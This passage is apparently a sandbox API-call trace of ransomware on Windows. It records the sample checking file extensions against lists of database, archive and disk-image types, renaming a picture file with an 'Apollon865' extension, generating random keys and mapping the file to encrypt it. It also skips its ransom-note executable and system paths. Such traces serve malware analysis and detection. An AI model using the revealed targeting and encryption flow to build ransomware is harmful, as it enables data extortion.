	[0087.482] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0087.482] lstrlenW (lpString="fcd") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0087.482] lstrlenW (lpString="fdb") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0087.482] lstrlenW (lpString="fic") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0087.482] lstrlenW (lpString="flexolibrary") returned 12
	[0087.482] lstrcmpiW (lpString1="cm-ONDud.bmp", lpString2="flexolibrary") returned -1
	[0087.482] lstrlenW (lpString="fm5") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0087.482] lstrlenW (lpString="fmp") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0087.482] lstrlenW (lpString="fmp12") returned 5
	[0087.482] lstrcmpiW (lpString1="d.bmp", lpString2="fmp12") returned -1
	[0087.482] lstrlenW (lpString="fmpsl") returned 5
	[0087.482] lstrcmpiW (lpString1="d.bmp", lpString2="fmpsl") returned -1
	[0087.482] lstrlenW (lpString="fol") returned 3
	[0087.482] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0087.483] lstrlenW (lpString="fp3") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0087.483] lstrlenW (lpString="fp4") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0087.483] lstrlenW (lpString="fp5") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0087.483] lstrlenW (lpString="fp7") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0087.483] lstrlenW (lpString="fpt") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0087.483] lstrlenW (lpString="frm") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0087.483] lstrlenW (lpString="gdb") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.483] lstrlenW (lpString="gdb") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.483] lstrlenW (lpString="grdb") returned 4
	[0087.483] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0087.483] lstrlenW (lpString="gwi") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0087.483] lstrlenW (lpString="hdb") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0087.483] lstrlenW (lpString="his") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0087.483] lstrlenW (lpString="ib") returned 2
	[0087.483] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0087.483] lstrlenW (lpString="idb") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0087.483] lstrlenW (lpString="ihx") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0087.483] lstrlenW (lpString="itdb") returned 4
	[0087.483] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0087.483] lstrlenW (lpString="itw") returned 3
	[0087.483] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0087.484] lstrlenW (lpString="jet") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0087.484] lstrlenW (lpString="jtx") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0087.484] lstrlenW (lpString="kdb") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0087.484] lstrlenW (lpString="kexi") returned 4
	[0087.484] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0087.484] lstrlenW (lpString="kexic") returned 5
	[0087.484] lstrcmpiW (lpString1="d.bmp", lpString2="kexic") returned -1
	[0087.484] lstrlenW (lpString="kexis") returned 5
	[0087.484] lstrcmpiW (lpString1="d.bmp", lpString2="kexis") returned -1
	[0087.484] lstrlenW (lpString="lgc") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0087.484] lstrlenW (lpString="lwx") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0087.484] lstrlenW (lpString="maf") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0087.484] lstrlenW (lpString="maq") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0087.484] lstrlenW (lpString="mar") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0087.484] lstrlenW (lpString="marshal") returned 7
	[0087.484] lstrcmpiW (lpString1="Dud.bmp", lpString2="marshal") returned -1
	[0087.484] lstrlenW (lpString="mas") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0087.484] lstrlenW (lpString="mav") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0087.484] lstrlenW (lpString="maw") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0087.484] lstrlenW (lpString="mdbhtml") returned 7
	[0087.484] lstrcmpiW (lpString1="Dud.bmp", lpString2="mdbhtml") returned -1
	[0087.484] lstrlenW (lpString="mdn") returned 3
	[0087.484] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0087.485] lstrlenW (lpString="mdt") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0087.485] lstrlenW (lpString="mfd") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0087.485] lstrlenW (lpString="mpd") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0087.485] lstrlenW (lpString="mrg") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0087.485] lstrlenW (lpString="mud") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0087.485] lstrlenW (lpString="mwb") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0087.485] lstrlenW (lpString="myd") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0087.485] lstrlenW (lpString="ndf") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0087.485] lstrlenW (lpString="nnt") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0087.485] lstrlenW (lpString="nrmlib") returned 6
	[0087.485] lstrcmpiW (lpString1="ud.bmp", lpString2="nrmlib") returned 1
	[0087.485] lstrlenW (lpString="ns2") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0087.485] lstrlenW (lpString="ns3") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0087.485] lstrlenW (lpString="ns4") returned 3
	[0087.485] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0087.487] lstrlenW (lpString="nsf") returned 3
	[0087.487] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0087.487] lstrlenW (lpString="nv") returned 2
	[0087.487] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0087.487] lstrlenW (lpString="nv2") returned 3
	[0087.487] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0087.487] lstrlenW (lpString="nwdb") returned 4
	[0087.487] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0087.487] lstrlenW (lpString="nyf") returned 3
	[0087.487] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0087.487] lstrlenW (lpString="odb") returned 3
	[0087.487] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.488] lstrlenW (lpString="odb") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.488] lstrlenW (lpString="oqy") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0087.488] lstrlenW (lpString="ora") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0087.488] lstrlenW (lpString="orx") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0087.488] lstrlenW (lpString="owc") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0087.488] lstrlenW (lpString="p96") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0087.488] lstrlenW (lpString="p97") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0087.488] lstrlenW (lpString="pan") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0087.488] lstrlenW (lpString="pdb") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0087.488] lstrlenW (lpString="pdm") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0087.488] lstrlenW (lpString="pnz") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0087.488] lstrlenW (lpString="qry") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0087.488] lstrlenW (lpString="qvd") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0087.488] lstrlenW (lpString="rbf") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0087.488] lstrlenW (lpString="rctd") returned 4
	[0087.488] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0087.488] lstrlenW (lpString="rod") returned 3
	[0087.488] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0087.488] lstrlenW (lpString="rodx") returned 4
	[0087.488] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0087.488] lstrlenW (lpString="rpd") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0087.489] lstrlenW (lpString="rsd") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0087.489] lstrlenW (lpString="sas7bdat") returned 8
	[0087.489] lstrcmpiW (lpString1="NDud.bmp", lpString2="sas7bdat") returned -1
	[0087.489] lstrlenW (lpString="sbf") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0087.489] lstrlenW (lpString="scx") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0087.489] lstrlenW (lpString="sdb") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0087.489] lstrlenW (lpString="sdc") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0087.489] lstrlenW (lpString="sdf") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0087.489] lstrlenW (lpString="sis") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0087.489] lstrlenW (lpString="spq") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0087.489] lstrlenW (lpString="te") returned 2
	[0087.489] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0087.489] lstrlenW (lpString="teacher") returned 7
	[0087.489] lstrcmpiW (lpString1="Dud.bmp", lpString2="teacher") returned -1
	[0087.489] lstrlenW (lpString="tmd") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0087.489] lstrlenW (lpString="tps") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0087.489] lstrlenW (lpString="trc") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.489] lstrlenW (lpString="trc") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.489] lstrlenW (lpString="trm") returned 3
	[0087.489] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0087.489] lstrlenW (lpString="udb") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0087.490] lstrlenW (lpString="udl") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0087.490] lstrlenW (lpString="usr") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0087.490] lstrlenW (lpString="v12") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0087.490] lstrlenW (lpString="vis") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0087.490] lstrlenW (lpString="vpd") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0087.490] lstrlenW (lpString="vvv") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0087.490] lstrlenW (lpString="wdb") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0087.490] lstrlenW (lpString="wmdb") returned 4
	[0087.490] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0087.490] lstrlenW (lpString="wrk") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0087.490] lstrlenW (lpString="xdb") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0087.490] lstrlenW (lpString="xld") returned 3
	[0087.490] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0087.490] lstrlenW (lpString="xmlff") returned 5
	[0087.490] lstrcmpiW (lpString1="d.bmp", lpString2="xmlff") returned -1
	[0087.490] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\G1cm-ONDud.bmp.Apollon865") returned 74
	[0087.490] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\G1cm-ONDud.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\g1cm-ondud.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\G1cm-ONDud.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\g1cm-ondud.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\G1cm-ONDud.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\g1cm-ondud.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.492] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=71660) returned 1
	[0087.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.492] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.493] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.493] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.493] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11af0, lpName=0x0) returned 0x15c
	[0087.493] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11af0) returned 0x120000
	[0087.496] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.497] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.497] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.497] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.498] CloseHandle (hObject=0x15c) returned 1
	[0087.498] CloseHandle (hObject=0x9c) returned 1
	[0087.500] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.500] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.500] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.500] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b7e90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.500] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.500] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2859b50, ftCreationTime.dwHighDateTime=0x1d4c7da, ftLastAccessTime.dwLowDateTime=0x6b5d38a0, ftLastAccessTime.dwHighDateTime=0x1d4cae5, ftLastWriteTime.dwLowDateTime=0x6b5d38a0, ftLastWriteTime.dwHighDateTime=0x1d4cae5, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="otdU2cOqhwT4glBl0o6T.bmp", cAlternateFileName="OTDU2C~1.BMP")) returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2=".") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="..") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="windows") returned -1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="bootmgr") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="temp") returned -1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="pagefile.sys") returned -1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="boot") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="ids.txt") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="ntuser.dat") returned 1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="perflogs") returned -1
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2="MSBuild") returned 1
	[0087.501] lstrlenW (lpString="otdU2cOqhwT4glBl0o6T.bmp") returned 24
	[0087.501] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\G1cm-ONDud.bmp") returned 63
	[0087.501] lstrcpyW (in: lpString1=0x119e66a, lpString2="otdU2cOqhwT4glBl0o6T.bmp" | out: lpString1="otdU2cOqhwT4glBl0o6T.bmp") returned="otdU2cOqhwT4glBl0o6T.bmp"
	[0087.501] lstrlenW (lpString="otdU2cOqhwT4glBl0o6T.bmp") returned 24
	[0087.501] lstrlenW (lpString="Apollon865") returned 10
	[0087.501] lstrcmpiW (lpString1="Bl0o6T.bmp", lpString2="Apollon865") returned 1
	[0087.501] lstrlenW (lpString=".dll") returned 4
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2=".dll") returned 1
	[0087.501] lstrlenW (lpString=".lnk") returned 4
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2=".lnk") returned 1
	[0087.501] lstrlenW (lpString=".ini") returned 4
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2=".ini") returned 1
	[0087.501] lstrlenW (lpString=".sys") returned 4
	[0087.501] lstrcmpiW (lpString1="otdU2cOqhwT4glBl0o6T.bmp", lpString2=".sys") returned 1
	[0087.501] lstrlenW (lpString="otdU2cOqhwT4glBl0o6T.bmp") returned 24
	[0087.501] lstrlenW (lpString="bak") returned 3
	[0087.501] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0087.501] lstrlenW (lpString="ba_") returned 3
	[0087.501] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0087.501] lstrlenW (lpString="dbb") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0087.502] lstrlenW (lpString="vmdk") returned 4
	[0087.502] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0087.502] lstrlenW (lpString="rar") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0087.502] lstrlenW (lpString="zip") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0087.502] lstrlenW (lpString="tgz") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0087.502] lstrlenW (lpString="vbox") returned 4
	[0087.502] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0087.502] lstrlenW (lpString="vdi") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0087.502] lstrlenW (lpString="vhd") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0087.502] lstrlenW (lpString="vhdx") returned 4
	[0087.502] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0087.502] lstrlenW (lpString="avhd") returned 4
	[0087.502] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0087.502] lstrlenW (lpString="db") returned 2
	[0087.502] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0087.502] lstrlenW (lpString="db2") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0087.502] lstrlenW (lpString="db3") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0087.502] lstrlenW (lpString="dbf") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0087.502] lstrlenW (lpString="mdf") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0087.502] lstrlenW (lpString="mdb") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0087.502] lstrlenW (lpString="sql") returned 3
	[0087.502] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0087.502] lstrlenW (lpString="sqlite") returned 6
	[0087.502] lstrcmpiW (lpString1="6T.bmp", lpString2="sqlite") returned -1
	[0087.502] lstrlenW (lpString="sqlite3") returned 7
	[0087.503] lstrcmpiW (lpString1="o6T.bmp", lpString2="sqlite3") returned -1
	[0087.503] lstrlenW (lpString="sqlitedb") returned 8
	[0087.503] lstrcmpiW (lpString1="0o6T.bmp", lpString2="sqlitedb") returned -1
	[0087.503] lstrlenW (lpString="xml") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0087.503] lstrlenW (lpString="$er") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0087.503] lstrlenW (lpString="4dd") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0087.503] lstrlenW (lpString="4dl") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0087.503] lstrlenW (lpString="^^^") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0087.503] lstrlenW (lpString="abs") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0087.503] lstrlenW (lpString="abx") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0087.503] lstrlenW (lpString="accdb") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accdb") returned 1
	[0087.503] lstrlenW (lpString="accdc") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accdc") returned 1
	[0087.503] lstrlenW (lpString="accde") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accde") returned 1
	[0087.503] lstrlenW (lpString="accdr") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accdr") returned 1
	[0087.503] lstrlenW (lpString="accdt") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accdt") returned 1
	[0087.503] lstrlenW (lpString="accdw") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accdw") returned 1
	[0087.503] lstrlenW (lpString="accft") returned 5
	[0087.503] lstrcmpiW (lpString1="T.bmp", lpString2="accft") returned 1
	[0087.503] lstrlenW (lpString="adb") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.503] lstrlenW (lpString="adb") returned 3
	[0087.503] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0087.504] lstrlenW (lpString="ade") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0087.504] lstrlenW (lpString="adf") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0087.504] lstrlenW (lpString="adn") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0087.504] lstrlenW (lpString="adp") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0087.504] lstrlenW (lpString="alf") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0087.504] lstrlenW (lpString="ask") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0087.504] lstrlenW (lpString="btr") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0087.504] lstrlenW (lpString="cat") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
